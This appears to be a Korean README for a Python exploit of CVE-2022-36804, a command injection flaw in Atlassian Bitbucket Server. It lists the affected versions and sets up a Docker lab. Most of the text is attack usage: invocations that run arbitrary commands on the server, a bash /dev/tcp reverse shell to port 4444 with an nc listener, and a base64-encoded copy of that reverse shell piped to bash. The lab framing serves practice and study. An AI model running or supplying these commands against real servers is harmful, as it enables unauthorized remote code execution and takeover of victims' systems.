
Atlassian Bitbucket Server의 CVE-2022-36804 명령 주입 취약점을 위한 Python 익스플로잇으로, 사용자 정의 명령어와 Docker 랩 환경을 통해 원격 코드 실행 및 리버스 셸을 가능하게 합니다.
Atlassian Bitbucket Server 및 Data Center의 여러 API 엔드포인트에서 심각한 명령 주입 취약점이 발견되었습니다. 이 취약점은 <7.6.17>, <7.17.10>, <7.21.4>, <8.0.3>, <8.1.2>, <8.2.2>, <8.3.1> 버전 이전에 릴리스된 모든 Bitbucket Server 및 Data Center 버전에 영향을 미칩니다.
docker build -t bitbucket .
docker run -it bitbucket
python3 cve-2022-36804.py -u http://172.17.0.2:7990
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo
172.17.0.3을 로컬 IP 주소로 바꾸세요.
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "sh -i >& /dev/tcp/172.17.0.2/4444 0>&1"
nc -lvp 4444
https://www.revshells.com페이로드 실행 오류가 발생할 경우 `sh -i >& /dev/tcp/172.17.0.2/4444 0>&1`을 base64로 변환합니다.
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE3LjAuMi80NDQ0IDA+JjE=' | base64 -d | bash"
연습을 위해 Windows/Linux 머신에 취약한 버전의 Bitbucket Server를 설치하는 것을 권장합니다. Docker 이미지에 비해 리버스 셸을 더 쉽게 얻을 수 있습니다.
더 자세한 정보는 [여기](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)에서 확인할 수 있습니다.
# 참고 자료
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
* https://github.com/walnutsecurity/cve-2022-36804